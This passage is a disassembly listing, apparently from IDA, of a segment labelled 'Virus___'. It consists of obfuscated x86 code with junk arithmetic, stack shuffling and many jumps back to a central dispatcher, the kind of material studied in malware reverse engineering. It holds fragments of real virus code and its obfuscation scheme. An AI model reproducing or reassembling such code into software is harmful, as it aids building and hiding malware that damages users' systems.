loc_57E550 ; --------------------------------------------------------------------------- loc_57505C: ; CODE XREF: Virus___:0057BCCBj xor ecx, [esp] pop esp movzx cx, al push small 0CA9h mov [esp], cx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575071: ; CODE XREF: Virus___:0057B3A6j push 298Fh jmp loc_579404 ; --------------------------------------------------------------------------- loc_57507B: ; CODE XREF: Virus___:0057EE6Aj pop edx jmp loc_57E40E ; --------------------------------------------------------------------------- loc_575081: ; CODE XREF: Virus___:0057C5CCj xor ebp, [esp] xor [esp], ebp push ebp xchg ecx, [esp] jmp loc_57E4D2 ; --------------------------------------------------------------------------- loc_575090: ; CODE XREF: Virus___:0057EBBAj push dword ptr [esp] pop ebp add esp, 4 jmp loc_57CACA ; --------------------------------------------------------------------------- loc_57509C: ; CODE XREF: Virus___:0057986Aj dec edi xor edi, 3F1F24BCh push ebx mov ebx, 9D8E85F3h add edi, ebx pop ebx add ebp, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx push ebp jmp loc_57BAC1 ; --------------------------------------------------------------------------- loc_5750C3: ; CODE XREF: Virus___:00575320j shl ebp, 5 jmp loc_5791E5 ; --------------------------------------------------------------------------- loc_5750CB: ; CODE XREF: Virus___:0057C5FDj sub esp, 4 mov [esp], edx mov edx, 4 sub eax, edx pop edx jmp loc_57C88E ; --------------------------------------------------------------------------- loc_5750DE: ; CODE XREF: Virus___:0057EE5Cj mov eax, esp push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_5779DA ; --------------------------------------------------------------------------- loc_5750EE: ; CODE XREF: Virus___:0057DEF0j add edi, 2 push 5C18h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_576802 ; --------------------------------------------------------------------------- loc_57510C: ; CODE XREF: Virus___:005794B4j mov [esp], ebx mov bl, 0BFh mov ah, 86h sub ah, bl pop ebx push ecx jmp loc_573460 ; --------------------------------------------------------------------------- push dword ptr [esp] pop edx push 6117h mov [esp], ecx mov ecx, esp push 2BB8h mov [esp], eax mov eax, 700D4A92h shr eax, 6 and eax, 3B294B99h push ebp mov ebp, 48DB6874h add eax, ebp pop ebp jmp loc_57703E ; --------------------------------------------------------------------------- loc_57514D: ; CODE XREF: Virus___:00577608j pop edx sub esi, 2EC17132h push ebx mov ebx, 20C33484h add ebx, 38AB1108h push ecx mov ecx, 0C6D3325h or ecx, 2AEB2A09h jmp loc_574E67 ; --------------------------------------------------------------------------- loc_575171: ; CODE XREF: Virus___:00576EECj add esp, 4 sub ebx, 4E0A29FCh add ebx, eax add ebx, 4E0A29FCh push 4E17h mov [esp], edx mov edx, 3EBD0F40h sub esp, 4 mov [esp], ebp mov ebp, 58D5980h neg ebp jmp loc_57D26A ; --------------------------------------------------------------------------- loc_5751A4: ; CODE XREF: Virus___:0057CF90j sub eax, 1 push ebp mov ebp, 3E515520h add eax, ebp pop ebp jmp loc_5785D5 ; --------------------------------------------------------------------------- loc_5751B5: ; CODE XREF: Virus___:0057BFCFj pop ecx shr edx, 5 not edx dec edx push eax jmp loc_573A99 ; --------------------------------------------------------------------------- loc_5751C2: ; CODE XREF: Virus___:0057EB2Ej pop esp mov [esp], ebp push dword ptr [esp+4] jmp loc_57D4DF ; --------------------------------------------------------------------------- loc_5751CF: ; CODE XREF: Virus___:005754D8j xchg edx, [esp] pop esp mov [esp], esi mov esi, 76C18848h jmp loc_572D1C ; --------------------------------------------------------------------------- loc_5751E0: ; CODE XREF: Virus___:00572E4Bj xor ebp, ebx jmp loc_57481C ; --------------------------------------------------------------------------- loc_5751E7: ; CODE XREF: Virus___:0057CB75j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_57C1CF ; --------------------------------------------------------------------------- loc_5751FE: ; CODE XREF: Virus___:0057415Fj pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], ebx mov bh, 2Bh jmp loc_5737CC ; --------------------------------------------------------------------------- loc_575219: ; CODE XREF: Virus___:00577234j and ebx, 0C8E6482h add ebx, 46DC7683h add ebx, 0B91544FFh mov esi, ebx pop ebx add ebp, esi push dword ptr [esp] pop esi jmp loc_579ACF ; --------------------------------------------------------------------------- loc_575239: ; CODE XREF: Virus___:00575A01j xor edi, 2F86076Bh sub edi, 721FC7Bh jmp loc_579209 ; --------------------------------------------------------------------------- loc_57524A: ; CODE XREF: Virus___:00576AC9j mov esi, esp push edi jmp loc_573C8D ; --------------------------------------------------------------------------- loc_575252: ; CODE XREF: Virus___:005733E9j add edx, 0FE39FA4Dh push esi mov esi, 0A1A55A4h sub esi, 7E47405Eh add esi, 0D69F37D4h add edi, esi pop esi add edi, edx push edx mov edx, 62724D1Ah sub edi, edx jmp loc_57DEEE ; --------------------------------------------------------------------------- loc_57527C: ; CODE XREF: Virus___:0057597Bj pop eax add bl, al jmp loc_5757EB ; --------------------------------------------------------------------------- loc_575284: ; CODE XREF: Virus___:0057A5DFj push edx mov edx, 0 jmp loc_57B885 ; --------------------------------------------------------------------------- loc_57528F: ; CODE XREF: Virus___:0057321Ej pop eax xchg eax, edx shl edx, 5 and edx, 1415024Bh jmp loc_57AE0E ; --------------------------------------------------------------------------- loc_57529F: ; CODE XREF: Virus___:0057B64Dj mov [esp], ebx sub esp, 4 mov [esp], eax mov ah, 0ECh mov bl, ah jmp loc_57A8B6 ; --------------------------------------------------------------------------- loc_5752B1: ; CODE XREF: Virus___:0057A957j mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_573584 ; --------------------------------------------------------------------------- loc_5752C1: ; CODE XREF: Virus___:0057D215j xor ebp, [esp] pop esp pop dword ptr [esp] not esi xchg esi, [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 jmp loc_5774FC ; --------------------------------------------------------------------------- loc_5752DF: ; CODE XREF: Virus___:00573EA5j sub eax, 4A0438D7h sub eax, 16230D23h mov esi, [esp] jmp loc_572D86 ; --------------------------------------------------------------------------- loc_5752F1: ; CODE XREF: Virus___:0057CF7Ej xchg ebp, ebx add ebx, 0A7C0687Ah xor eax, ebx jmp loc_5780A2 ; --------------------------------------------------------------------------- loc_575300: ; CODE XREF: Virus___:0057A063j add ebx, 4 push 7823h mov [esp], ebp jmp loc_57C9BF ; --------------------------------------------------------------------------- loc_575313: ; CODE XREF: Virus___:0057D666j add esi, 0FFFFFFFFh push eax jmp loc_57B6F9 ; --------------------------------------------------------------------------- loc_57531F: ; CODE XREF: Virus___:00578DB7j dec ebp jmp loc_5750C3 ; --------------------------------------------------------------------------- loc_575325: ; CODE XREF: Virus___:0057D18Cj or bl, 93h sub bl, 8Ah xor dl, bl pop ebx push ebx mov bl, 4Bh push ecx mov ch, 6Ah xor bl, ch pop ecx add al, 0A2h add al, bl sub al, 0A2h pop ebx sub al, dl sub al, 21h jmp loc_5738A6 ; --------------------------------------------------------------------------- loc_575347: ; CODE XREF: Virus___:00577C9Ej pop edi jmp loc_57C0D9 ; --------------------------------------------------------------------------- loc_57534D: ; CODE XREF: Virus___:0057CAF3j push 18C3h mov [esp], ebp mov ebp, 532BF31Fh push ecx mov ecx, 7F795377h push ebp jmp loc_57C569 ; --------------------------------------------------------------------------- loc_575366: ; CODE XREF: Virus___:00578707j jmp loc_5729F6 ; --------------------------------------------------------------------------- mov cx, [esp] push eax push esp pop eax add eax, 4 jmp loc_57344D ; --------------------------------------------------------------------------- loc_57537C: ; CODE XREF: Virus___:0057AFB1j add [esp], al pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575385: ; CODE XREF: Virus___:005796D2j mov ebx, 0E5E1B38h and ebx, 64006509h or ebx, 4E011312h jmp loc_578DF9 ; --------------------------------------------------------------------------- loc_57539B: ; CODE XREF: Virus___:0057426Ej inc esi shl esi, 1 sub esi, 9F996044h xor ecx, esi pop esi mov ebp, ecx jmp loc_57D0F9 ; --------------------------------------------------------------------------- loc_5753AE: ; CODE XREF: Virus___:0057E79Dj xor esi, 51A839AFh xor esi, 217238F7h sub esp, 4 mov [esp], edx mov edx, esi push edx pop ecx jmp loc_573DA8 ; --------------------------------------------------------------------------- loc_5753CC: ; CODE XREF: Virus___:0057D8D2j push eax push esi mov esi, 5D81A25h jmp loc_577C30 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_572E83 ; --------------------------------------------------------------------------- loc_5753E3: ; CODE XREF: Virus___:005735E3j mov di, 1F8Dh xor di, 52B8h xor dx, di pop edi jmp loc_57A6A0 ; --------------------------------------------------------------------------- loc_5753F5: ; CODE XREF: Virus___:0057B59Dj push dword ptr [esp] pop eax push 903h mov [esp], edx jmp loc_579FB9 ; --------------------------------------------------------------------------- loc_575406: ; CODE XREF: Virus___:00577EC6j mov ebx, edi mov eax, ebx jmp loc_57ED29 ; --------------------------------------------------------------------------- loc_57540F: ; CODE XREF: Virus___:0057E5C0j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5729F6 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp jmp loc_57C9AD ; --------------------------------------------------------------------------- loc_57542F: ; CODE XREF: Virus___:0057D0C8j pop dword ptr [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575443: ; CODE XREF: Virus___:0057AF2Cj push dword ptr [esp] jmp loc_57A06F ; --------------------------------------------------------------------------- loc_57544B: ; CODE XREF: Virus___:00578065j and dl, bh jmp loc_5788AB ; --------------------------------------------------------------------------- loc_575452: ; CODE XREF: Virus___:00573224j push esp pop ebx jmp loc_57B69C ; --------------------------------------------------------------------------- loc_575459: ; CODE XREF: Virus___:0057ACCFj mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_57D887 ; --------------------------------------------------------------------------- loc_575475: ; CODE XREF: Virus___:00572EB9j mov esi, esp jmp loc_5796F4 ; --------------------------------------------------------------------------- loc_57547C: ; CODE XREF: Virus___:00576B4Cj xor dl, ch pop ecx not dl jmp loc_57894A ; --------------------------------------------------------------------------- loc_575486: ; CODE XREF: Virus___:00576F0Ej pop edx sub esp, 4 jmp loc_57676A ; --------------------------------------------------------------------------- loc_575492: ; CODE XREF: Virus___:0057328Dj add edx, esi pop esi mov ecx, [esp] add esp, 4 push esi mov esi, 2 add edx, esi push dword ptr [esp] pop esi add esp, 4 xchg edx, [esp] pop esp mul cl movzx cx, ah push ebx push esp mov ebx, [esp] add esp, 4 jmp loc_578457 ; --------------------------------------------------------------------------- loc_5754C4: ; CODE XREF: Virus___:0057E05Bj pop esi push eax mov eax, 4 jmp loc_57EE25 ; --------------------------------------------------------------------------- loc_5754D0: ; CODE XREF: Virus___:00574739j mov edi, 4 sub edx, edi pop edi jmp loc_5751CF ; --------------------------------------------------------------------------- loc_5754DD: ; CODE XREF: Virus___:00579CDAj mov [esp], ebp push ecx push 2A5B57FBh pop ecx or ecx, 33F5314Ch xor ecx, 339014A9h push 0 sub [esp], ecx jmp loc_57612D ; --------------------------------------------------------------------------- loc_575500: ; CODE XREF: Virus___:0057D5D6j push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_57944C ; --------------------------------------------------------------------------- loc_575516: ; CODE XREF: Virus___:00579E64j push ebx jmp loc_57803D ; --------------------------------------------------------------------------- loc_57551C: ; CODE XREF: Virus___:0057BB86j push 70ECh mov [esp], edx mov edx, 4A99575Fh push edi jmp loc_57DF0E ; --------------------------------------------------------------------------- loc_57552F: ; CODE XREF: Virus___:00575FF8j add esp, 4 xchg edx, [esp] jmp loc_57765A ; --------------------------------------------------------------------------- loc_57553D: ; CODE XREF: Virus___:00574D20j mov bl, 2Ah xor bl, 5Fh xor bl, 66h sub bl, 8 xor bl, 0Ah jmp loc_5795FE ; --------------------------------------------------------------------------- loc_575550: ; CODE XREF: Virus___:0057DF9Dj sub ebx, 3917574Ch jmp loc_57CDA2 ; --------------------------------------------------------------------------- loc_57555B: ; CODE XREF: Virus___:0057E2A2j xchg eax, [esp] mov esp, [esp] or edx, eax shl edx, 1 push eax push 1C3Ah mov [esp], edi jmp loc_573387 ; --------------------------------------------------------------------------- loc_575573: ; CODE XREF: Virus___:005763D6j push ebp mov ebp, 4 add edi, ebp pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_57C840 ; --------------------------------------------------------------------------- loc_57558B: ; CODE XREF: Virus___:00573354j sub esi, 1C256175h sub esi, edi add esi, 1C256175h mov edi, [esp] add esp, 4 and [edi+1Ch], esi push dword ptr [esp] pop esi push ecx mov ecx, esp jmp loc_576C90 ; --------------------------------------------------------------------------- loc_5755B1: ; CODE XREF: Virus___:00575F08j pop esi push ecx push edi mov edi, 25496BBFh sub edi, 982E6E47h mov ecx, edi jmp loc_575F87 ; --------------------------------------------------------------------------- loc_5755C6: ; CODE XREF: Virus___:0057A1CEj mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_572B68 ; --------------------------------------------------------------------------- loc_5755DC: ; CODE XREF: Virus___:00575A59j dec ecx shr ecx, 6 sub ecx, 3B00AABh jmp loc_579E61 ; --------------------------------------------------------------------------- loc_5755EB: ; CODE XREF: Virus___:00573963j btc [esp], ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp pop ebp push edi mov edi, 279D6855h jmp loc_576AE6 ; --------------------------------------------------------------------------- loc_575608: ; CODE XREF: Virus___:0057EF66j shr ebx, 8 sub ebx, 0E45F3161h sub eax, ebx pop ebx push dword ptr [eax] push ebp mov ebp, 1E30365Eh xor [esp+4], ebp pop ebp mov ecx, [esp] add esp, 4 xor ecx, 1E30365Eh pop eax jmp loc_57D4B4 ; --------------------------------------------------------------------------- loc_575633: ; CODE XREF: Virus___:0057DEC8j pop dx add al, bh jmp loc_57A7BD ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_57EA71 ; --------------------------------------------------------------------------- dd 23CCE981h, 0C1814BDAh, 6D8769E5h, 0FFF504E9h db 0FFh ; --------------------------------------------------------------------------- loc_575665: ; CODE XREF: Virus___:0057DDE1j xor edx, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575674: ; CODE XREF: Virus___:0057E3B9j mov eax, ebx pop ebx add eax, 0D8F3CC07h jmp loc_57DD8E ; --------------------------------------------------------------------------- loc_575681: ; CODE XREF: Virus___:005763BEj push 0E81h mov [esp], eax mov eax, esp push esi jmp loc_572AF1 ; --------------------------------------------------------------------------- loc_575691: ; CODE XREF: Virus___:0057BB77j pop ecx jmp loc_576146 ; --------------------------------------------------------------------------- loc_575697: ; CODE XREF: Virus___:0057BCE2j mov [esp], ebp push 5D98h mov [esp], esi push 6F947B33h pop esi add esi, 8D10942h and esi, 7BA64B9Fh jmp loc_57C025 ; --------------------------------------------------------------------------- loc_5756B9: ; CODE XREF: Virus___:00576AD4j not ebx and ebx, 704F6E5Bh neg ebx xor ebx, 79033B22h xor ebx, 0D700CECFh xor esi, ebx pop ebx sub esi, 5D0772E1h add esi, 0DF3D019Dh add ebx, esi pop esi push 5C56h mov [esp], eax mov eax, 2CA1276Ah push eax not dword ptr [esp] jmp loc_57D413 ; --------------------------------------------------------------------------- loc_5756F7: ; CODE XREF: Virus___:00572DD9j push 68FCh jmp loc_573B02 ; --------------------------------------------------------------------------- loc_575701: ; CODE XREF: Virus___:0057DDF1j not ebx or ebx, 7AAB786Ah push esi mov esi, 2B991D75h and esi, 21E729F3h jmp loc_572CB3 ; --------------------------------------------------------------------------- loc_57571A: ; CODE XREF: Virus___:00575DEFj push eax push ecx mov ecx, 0BA4309Fh mov eax, ecx mov ecx, [esp] add esp, 4 push 0BA4311Fh pop esi jmp loc_57460F ; --------------------------------------------------------------------------- loc_575737: ; CODE XREF: Virus___:0057B19Fj mov ecx, [esp] add esp, 4 jmp loc_57D585 ; --------------------------------------------------------------------------- loc_575742: ; CODE XREF: Virus___:0057CD9Dj sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_577F21 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp jmp loc_576D1B ; --------------------------------------------------------------------------- loc_575763: ; CODE XREF: Virus___:0057325Fj mov esi, 4 add ebp, esi mov esi, [esp] add esp, 4 push 7C32h mov [esp], esi mov esi, 4 jmp loc_575CFB ; --------------------------------------------------------------------------- loc_575782: ; CODE XREF: Virus___:00577F4Aj pop edx sub al, cl pop ecx push 0DDFh mov [esp], ecx push 2F69h mov [esp], eax jmp loc_576CC4 ; --------------------------------------------------------------------------- loc_57579B: ; CODE XREF: Virus___:00574FE8j xor bx, 1C5Bh neg bx or bx, 7072h and bx, 48D8h xor bx, 37B3h xor bx, 6C6Ah add ax, bx mov ebx, [esp] add esp, 4 pop edx push edi mov edi, esp add edi, 4 jmp loc_57E4BC ; --------------------------------------------------------------------------- loc_5757CF: ; CODE XREF: Virus___:0057E367j pop edx xchg eax, [esp] jmp loc_577CA3 ; --------------------------------------------------------------------------- loc_5757D8: ; CODE XREF: Virus___:0057403Bj push ebx mov ebx, 4 add [esp+4], ebx pop ebx mov esi, [esp] jmp loc_57752E ; --------------------------------------------------------------------------- loc_5757EB: ; CODE XREF: Virus___:0057527Fj push edx mov dh, 0DCh jmp loc_57E5B6 ; --------------------------------------------------------------------------- loc_5757F3: ; CODE XREF: Virus___:0057E099j push edi jmp loc_57D060 ; --------------------------------------------------------------------------- loc_5757F9: ; CODE XREF: Virus___:0057D0ECj mov edx, esi pop esi add edx, edi jmp loc_57E313 ; --------------------------------------------------------------------------- push ebx push ecx mov cl, al push eax mov ah, cl mov bl, ah pop eax pop ecx mov al, [esp+4] jmp loc_578C86 ; --------------------------------------------------------------------------- loc_575817: ; CODE XREF: Virus___:0057A707j and ecx, edx pop edx inc ecx and ecx, 6D316024h jmp loc_572E3F ; --------------------------------------------------------------------------- loc_575826: ; CODE XREF: Virus___:00579A86j push 5BCDh jmp loc_572FB1 ; --------------------------------------------------------------------------- loc_575830: ; CODE XREF: Virus___:0057BCDAj add bl, cl pop cx movzx eax, al lea eax, [edi+eax*4] push 6673h mov [esp], eax jmp loc_57DDF6 ; --------------------------------------------------------------------------- loc_575847: ; CODE XREF: Virus___:0057E6F4j xchg edi, [esp] jmp loc_57D598 ; --------------------------------------------------------------------------- loc_57584F: ; CODE XREF: Virus___:0057385Bj add esp, 4 add esp, 4 jmp loc_57B9D0 ; --------------------------------------------------------------------------- loc_57585A: ; CODE XREF: Virus___:00576F2Dj sub ecx, 1 sub ecx, 1A6129B2h add edi, ecx mov ecx, [esp] jmp loc_57E578 ; --------------------------------------------------------------------------- loc_57586D: ; CODE XREF: Virus___:00578FF2j pop edi sub eax, 38A83292h or eax, 4F542F7Dh inc eax and eax, 19400FEAh jmp loc_57B652 ; --------------------------------------------------------------------------- loc_575883: ; CODE XREF: Virus___:0057DD39j add ebx, edx pop edx add ecx, ebx pop ebx sub ecx, 4 push ecx jmp loc_573BA1 ; --------------------------------------------------------------------------- loc_575895: ; CODE XREF: Virus___:00573EEFj add edi, 4 push ebp jmp loc_57886C ; --------------------------------------------------------------------------- loc_5758A1: ; CODE XREF: Virus___:00575EC7j or eax, eax jz loc_57E94C push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_577A92 ; --------------------------------------------------------------------------- mov cx, [esp] push 166Dh mov [esp], ebx mov ebx, esp push esi mov esi, 6C713D65h jmp loc_576ACE ; --------------------------------------------------------------------------- loc_5758DC: ; CODE XREF: Virus___:0057AD7Fj pop ecx mov edx, 67240C11h sub edx, 67D24234h jmp loc_573674 ; --------------------------------------------------------------------------- loc_5758ED: ; CODE XREF: Virus___:0057815Ej push eax mov eax, 69806D3Fh xor eax, 69D46C72h jmp loc_573A4B ; --------------------------------------------------------------------------- loc_5758FD: ; CODE XREF: Virus___:00574950j push edx mov dh, 94h jmp loc_57ED7C ; --------------------------------------------------------------------------- loc_575905: ; CODE XREF: Virus___:00577BE9j pop ebx add edi, eax pop eax push 544Dh jmp loc_574640 ; --------------------------------------------------------------------------- loc_575913: ; CODE XREF: Virus___:00577CC5j add ebx, eax sub ebx, 28D16A66h pop eax jmp loc_579F26 ; --------------------------------------------------------------------------- loc_575921: ; CODE XREF: Virus___:0057BFB3j inc dword ptr [esp] pop edx sub edx, 190BAB74h push edi mov edi, edx mov ebx, edi pop edi pop edx sub dword ptr [esp+4], 463C38FDh add [esp+4], ebx add dword ptr [esp+4], 463C38FDh pop ebx pop eax jmp loc_57779C ; --------------------------------------------------------------------------- loc_57594D: ; CODE XREF: Virus___:00579C65j sub dl, 0F1h jmp loc_574D56 ; --------------------------------------------------------------------------- loc_575955: ; CODE XREF: Virus___:00579704j mov [esp], esi jmp loc_57CC80 ; --------------------------------------------------------------------------- loc_57595D: ; CODE XREF: Virus___:0057A90Cj mov edx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_5773D6 ; --------------------------------------------------------------------------- loc_575971: ; CODE XREF: Virus___:0057A14Fj or ebp, ebx jmp loc_57BB5A ; --------------------------------------------------------------------------- loc_575978: ; CODE XREF: Virus___:005732EBj sub bl, 0Eh jmp loc_57527C ; --------------------------------------------------------------------------- mov cx, [esp] push 78D7h jmp loc_57D825 ; --------------------------------------------------------------------------- loc_57598E: ; CODE XREF: Virus___:00578CE7j pop ebx add eax, 2A5F541Ah add eax, 3F31746Dh push edx mov edx, 5D6215B3h neg edx jmp loc_57335F ; --------------------------------------------------------------------------- loc_5759A6: ; CODE XREF: Virus___:00574CCFj pop ecx push 5D52h jmp loc_5744EB ; --------------------------------------------------------------------------- loc_5759B1: ; CODE XREF: Virus___:0057D960j add ecx, eax pop eax sub ecx, 4 push esi mov esi, esp add esi, 4 jmp loc_579D67 ; --------------------------------------------------------------------------- loc_5759C8: ; CODE XREF: Virus___:0057A61Fj sub bl, dh mov edx, [esp] add esp, 4 dec bl push cx mov cl, dh mov dh, bl mov bl, cl pop cx not dh jmp loc_575E73 ; --------------------------------------------------------------------------- loc_5759E6: ; CODE XREF: Virus___:00573917j mov ebp, edi pop edi add [esp+4], ebp pop ebp mov ecx, [esp] add esp, 4 push esi mov esi, 76612882h dec esi push edi mov edi, 5219519Dh jmp loc_575239 ; --------------------------------------------------------------------------- loc_575A06: ; CODE XREF: Virus___:00578BDBj mov ecx, 356A2E6Ch or ecx, 5DBF722Ah inc ecx inc ecx add ecx, 6C2D2EE1h jmp loc_57BC46 ; --------------------------------------------------------------------------- loc_575A1E: ; CODE XREF: Virus___:0057B7E3j mov esp, [esp] push 623Dh mov [esp], eax mov eax, 6DDC1F3Dh shl eax, 3 and eax, 2AE5B76h push edx jmp loc_57AB27 ; --------------------------------------------------------------------------- loc_575A3C: ; CODE XREF: Virus___:0057D6C4j mov esi, ecx pop ecx push edi mov edi, 2D415DE9h or esi, edi jmp loc_57D277 ; --------------------------------------------------------------------------- loc_575A4C: ; CODE XREF: Virus___:0057BFEBj pop edx push 66FBh jmp loc_57C3BB ; --------------------------------------------------------------------------- loc_575A57: ; CODE XREF: Virus___:00575022j neg ecx jmp loc_5755DC ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp mov edx, [esp] jmp loc_578287 ; --------------------------------------------------------------------------- loc_575A6C: ; CODE XREF: Virus___:0057E1C3j sub ecx, 14E4B867h mov edi, ecx mov ecx, [esp] jmp loc_57301A ; --------------------------------------------------------------------------- loc_575A7C: ; CODE XREF: Virus___:0057D85Fj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575A81: ; CODE XREF: Virus___:005774F7j push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] jmp loc_5776A1 ; --------------------------------------------------------------------------- loc_575A90: ; CODE XREF: Virus___:0057C9CDj push 681Ch mov [esp], eax push 1DE7h mov [esp], esp add dword ptr [esp], 4 pop eax push edi mov edi, 68D6326h and edi, 35DC2CE0h xor edi, 539F7F9Ch shr edi, 1 shr edi, 7 or edi, 7A042487h push esi mov esi, 85A8C825h jmp loc_57C26E ; --------------------------------------------------------------------------- loc_575AD0: ; CODE XREF: Virus___:0057E853j pop edx pop ebx shr ebp, 5 shl ebp, 7 add ebp, 7B171591h push eax mov eax, 786D1FC7h xor ebp, eax mov eax, [esp] add esp, 4 add ebp, 297A80AAh or [edi+1Ch], ebp pop ebp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_575AFE: ; CODE XREF: Virus___:005789D6j mov cl, bl mov ebx, [esp] add esp, 4 add cl, 0FDh add al, 30h sub al, cl sub al, 30h pop ecx add al, 5Ch push 0B84h mov [esp], ebx push ecx mov cl, 6 sub cl, 72h neg cl dec cl inc cl and cl, 73h add cl, 72h mov bh, cl pop ecx add bh, 0FFh jmp loc_578689 ; --------------------------------------------------------------------------- loc_575B3A: ; CODE XREF: Virus___:00573FA2j pop edx jmp loc_578ABD ; --------------------------------------------------------------------------- loc_575B40: ; CODE XREF: Virus___:00576BA1j pop eax sub dh, 7Eh jmp loc_579AFA ; --------------------------------------------------------------------------- loc_575B49: ; CODE XREF: Virus___:00574231j or eax, eax jz loc_577202 push 4B80h mov [esp], ebx mov ebx, 1Ch push edx mov edx, 0A660682h dec edx jmp loc_575D33 ; --------------------------------------------------------------------------- loc_575B6A: ; CODE XREF: Virus___:00572EFDj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5760DD ; --------------------------------------------------------------------------- loc_575B7B: ; CODE XREF: Virus___:00579B8Bj push ebx mov ebx, 4 push eax mov eax, 43F71FE8h add edx, eax pop eax add edx, ebx sub edx, 43F71FE8h pop ebx push 1D78h jmp loc_576AD9 ; --------------------------------------------------------------------------- loc_575B9D: ; CODE XREF: Virus___:0057DD89j mov [esp], edx mov edx, 76194E5Ah push esi mov esi, 302E54BDh xor esi, 2E537BB1h add esi, 231D603Ch xor esi, 0AA0334E9h sub edx, 438D38E1h jmp loc_57A634 ; --------------------------------------------------------------------------- loc_575BC8: ; CODE XREF: Virus___:00577779j pop edx add esp, 4 jmp loc_57BFB8 ; --------------------------------------------------------------------------- loc_575BD4: ; CODE XREF: Virus___:00576687j mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_57DDC6 ; --------------------------------------------------------------------------- loc_575BE3: ; CODE XREF: Virus___:0057CF5Bj mov ecx, 6F6A1FA9h xor ecx, 61A078Fh xor esi, ecx pop ecx jmp loc_579082 ; --------------------------------------------------------------------------- loc_575BF6: ; CODE XREF: Virus___:00575FB4j xor edi, 20012A4h add edi, 0FD10D73Ch push edi sub dword ptr [esp], 5B4E558Eh pop ecx jmp loc_57A27E ; --------------------------------------------------------------------------- loc_575C10: ; CODE XREF: Virus___:00573AE4j pop ebx add al, bl jmp loc_57E583 ; --------------------------------------------------------------------------- loc_575C18: ; CODE XREF: Virus___:0057EF45j xchg ebp, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- align 4 dd 0D80059E8h, 522CC82Ch, 809FB652h, 0B551CFF6h, 59EE08F0h dd 5E3A6866h, 240C8966h, 0CE2818B1h, 1395E9h db 0 ; --------------------------------------------------------------------------- loc_575C4D: ; CODE XREF: Virus___:0057C18Cj sub ebp, edx pop edx add ecx, ebp mov ebp, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push edi sub esp, 4 jmp loc_5769E7 ; --------------------------------------------------------------------------- loc_575C6D: ; CODE XREF: Virus___:0057B8FFj mov ebp, 3A614B0Ah shl ebp, 3 sub ebp, 638E1066h add ebx, ebp jmp loc_57C962 ; --------------------------------------------------------------------------- loc_575C82: ; CODE XREF: Virus___:00577E9Ej mov edi, [esp] add esp, 4 jmp loc_57B7FC ; --------------------------------------------------------------------------- loc_575C90: ; CODE XREF: Virus___:0057EB69j dec al xor al, 77h jmp loc_57977C ; --------------------------------------------------------------------------- loc_575C99: ; CODE XREF: Virus___:0057968Ej pop esi neg ecx jmp loc_57BF74 ; --------------------------------------------------------------------------- loc_575CA1: ; CODE XREF: Virus___:0057460Aj pop esp idiv ecx jmp loc_577D85 ; --------------------------------------------------------------------------- loc_575CA9: ; CODE XREF: Virus___:0057C0D4j push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_57A405 ; --------------------------------------------------------------------------- loc_575CC0: ; CODE XREF: Virus___:0057D39Dj pop eax sub ecx, 76EE28F9h add ecx, 44A90FDCh push dword ptr [ecx] pop eax pop ecx mov edx, [esp] add esp, 4 push dword ptr [edi+eax*4] push 34AFh jmp loc_577AC0 ; --------------------------------------------------------------------------- loc_575CE4: ; CODE XREF: Virus___:0057D4AFj sub edi, edx pop edx jmp loc_57B201 ; --------------------------------------------------------------------------- loc_575CEC: ; CODE XREF: Virus___:0057B53Cj mov [esp], ebx mov ebx, 0C8244CAh or ebp, ebx jmp loc_573297 ; --------------------------------------------------------------------------- loc_575CFB: ; CODE XREF: Virus___:0057577Dj add ebp, esi mov esi, [esp] jmp loc_573AA3 ; --------------------------------------------------------------------------- loc_575D05: ; CODE XREF: Virus___:00574BFCj mov ebx, 20947C40h jmp loc_57910A ; --------------------------------------------------------------------------- loc_575D0F: ; CODE XREF: Virus___:00576991j push ecx mov cl, 3Bh sub bl, cl pop ecx jmp loc_574477 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], ecx push esi mov esi, 697F6B28h and esi, 3FEF6F6Ah push edi jmp loc_5799FC ; 